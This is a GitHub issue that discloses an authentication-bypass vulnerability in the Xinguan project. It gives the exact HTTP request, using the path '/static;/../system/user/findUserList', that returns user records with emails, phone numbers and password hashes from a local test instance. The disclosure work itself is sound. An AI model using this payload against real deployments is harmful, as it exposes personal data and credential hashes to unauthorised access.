New issue

There is an Incorrect Access Control vulnerability in Xinguan #26

Open

RacerZ-fighting opened on Mar 18

[Suggested description]
Xinguan was found to have an Incorrect Access Control vulnerability up to 0.0.1-SNAPSHOT, resulting in information leakage.

[Vulnerability Type]
Incorrect access control

[Vendor of Product]
https://github.com/zykzhangyukang/Xinguan

[Affected Product Code Base]
all version (<= 0.0.1-SNAPSHOT)

[Affected Component]
sensitive API that require authentication

[Attack Type]
Remote

[Vulnerability details]
Directly send the payload below to the API `/system/user/findUserList` will fail because of the authentication.

```
GET /system/user/findUserList HTTP/1.1
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8989
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=88EBD536FD0D32C2939D369216B192C3
```

Request

```
GET /system/user/findUserList HTTP/1.1
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8989
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=88EBD536FD0D32C2939D369216B192C3
```

Response

```
HTTP/1.1 200
Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,DELETE
Content-Type: application/json;charset=utf-8
Content-Length: 73
Date: Tue, 18 Mar 2025 13:21:43 GMT
Connection: close

{
  "success":false,
  "data":{
    "errorCode":50001,
    "errorMsg":"用户未认证"
  }
}
```

However, send the payload below to the API `/static;/../system/user/findUserList` will bypass the authentication.

Request

```
GET /static;/../system/user/findUserList HTTP/1.1
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8989
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=88EBD536FD0D32C2939D369216B192C3
```

Response

```
HTTP/1.1 200
Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,DELETE
Content-Type: application/json
Date: Tue, 18 Mar 2025 13:22:29 GMT
Connection: close
Content-Length: 1189

{
  "success":true,
  "data":{
    "total":4,
    "rows":[
      {
        "id":196,
        "username":"jack",
        "nickname":"testetst",
        "email":"test@qq.com",
        "phoneNumber":"15045414141",
        "status":false,
        "createTime":"2020-08-19 17:41:20",
        "sex":1,
        "birth":"2020年08月17日",
        "password":"49bdaf7293cc9bd6fc9f50c3b03b7d6d",
        "departmentName":"采购部",
        "departmentId":12
      },
      {
        "id":197,
        "username":"3333333",
        "nickname":"33333",
        "email":"333@qq.com",
        "phoneNumber":"15041414141",
        "status":true,
        "createTime":"2020-12-16 21:32:22",
        "sex":1,
        "birth":"2020年12月29日",
        "password":"2168d955d03701181dd6b3bab7647694",
        "departmentName":"物资管理部",
        "departmentId":1
      },
      {
        "id":198,
        "username":"test",
        "nickname":"testnickn",
        "email":"test@qq.com",
        "phoneNumber":"15074857474",
```


Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

No branches or pull requests

Participants